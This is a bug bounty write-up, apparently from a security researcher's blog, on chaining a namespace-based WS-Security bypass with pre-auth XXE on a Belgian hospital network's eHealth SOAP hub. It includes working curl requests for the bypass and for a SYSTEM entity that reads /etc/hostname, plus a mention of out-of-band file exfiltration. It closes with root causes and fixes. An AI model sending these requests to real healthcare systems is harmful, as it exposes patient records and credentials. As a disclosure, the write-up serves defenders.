[00.00_r1gor]
[00.00_bugbounty]
r1gor

all write-ups

XXE and Auth Bypass on a Hospital SOAP Service

Target is the eHealth integration hub of a major Belgian hospital network. Handles patient medical records, lab results, discharge letters, prescriptions. Production system, directly on the internet, no WAF, no Cloudflare. The SOAP stack was JAX-WS Metro 2.2.1, built in 2012.

Two findings, and they chain together.

finding 1: WS-Security bypass via namespace trick

The SOAP service enforces WS-Security authentication through SAML 1.1 tokens with XML signatures. But the enforcement is conditional. It only activates when the SOAP body uses the eHealth target namespace.

With the target namespace (blocked):

curl -X POST "https://[TARGET]/services/intrahub/IntraHubService" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:v1="http://www.ehealth.fgov.be/hubservices/protocol/v1">
  <soapenv:Header/><soapenv:Body>
  <v1:GetTransactionListRequest/>
  </soapenv:Body></soapenv:Envelope>'
<faultcode>wsse:InvalidSecurity</faultcode>
<faultstring>Invalid Security Header</faultstring>

Without namespace (bypassed):

curl -X POST "https://[TARGET]/services/intrahub/IntraHubService" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/><soapenv:Body>
  <GetTransactionListRequest/>
  </soapenv:Body></soapenv:Envelope>'
<faultcode>ns2:Client</faultcode>
<faultstring>Cannot find dispatch method for
  {}GetTransactionListRequest</faultstring>

No auth check. The body is parsed, the operation name is looked up in the dispatch registry, and it returns a dispatch error. The {} prefix confirms the element was processed with an empty namespace. Any namespace works as long as it is not the eHealth one.

The WS-Security policy is bound to the operation namespace instead of the transport layer. Skip the namespace, skip the auth.

finding 2: XXE via DTD processing (pre-auth)

With the auth bypass established, next question. What can you do with unauthenticated XML parsing?

The XML parser has DTD processing enabled. I confirmed this through differential response analysis. Three requests, three different server behaviors:

Request Entity Response
No DTD None Cannot find dispatch method
Internal entity in text <!ENTITY e "val"> Parser crash: SAXParseException: Internal XSB error: Invalid State=0
SYSTEM entity in attribute <!ENTITY e SYSTEM "file:///etc/hostname"> Different code path: wsse:InvalidSecurity

If DTD processing was disabled, all three would return the same dispatch error. Instead:

  • The internal entity crashes the SAX parser during expansion
  • The SYSTEM entity pointing to file:///etc/hostname gets resolved and injected into an attribute, altering the parsed XML tree enough to trigger a different code path
curl -X POST "https://[TARGET]/services/intrahub/IntraHubService" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
  <!DOCTYPE foo [<!ENTITY e SYSTEM "file:///etc/hostname">]>
  <soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/><soapenv:Body>
  <test attr="&e;">a</test></soapenv:Body></soapenv:Envelope>'

The entity is resolved. With an out-of-band exfiltration setup (external DTD hosted on attacker server), you read files from the hospital hub server. Config files, credentials, potentially patient data.

the chain

  1. Skip WS-Security by omitting the eHealth namespace
  2. Server parses XML body without authentication
  3. DTD processing is enabled on the unauthenticated parser
  4. Inject SYSTEM entities for file read or SSRF

Zero credentials required. Production healthcare system. Patient records. No WAF between you and the SOAP endpoint.

root cause

Two legacy decisions compounding:

  1. WS-Security bound to namespace instead of transport. The security interceptor asks "is this an eHealth operation?" instead of "is this request authenticated?"
  2. Metro 2.2.1 (2012) ships with DTD processing enabled by default. Modern versions disable it.

Fix for the XXE:

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature(
  "http://apache.org/xml/features/disallow-doctype-decl", true);

Fix for the auth bypass: enforce WS-Security at the transport/envelope level, not the operation level. Or put a servlet filter in front that rejects any POST without a wsse:Security header.

Upgrading from a 14 year old SOAP stack would also help.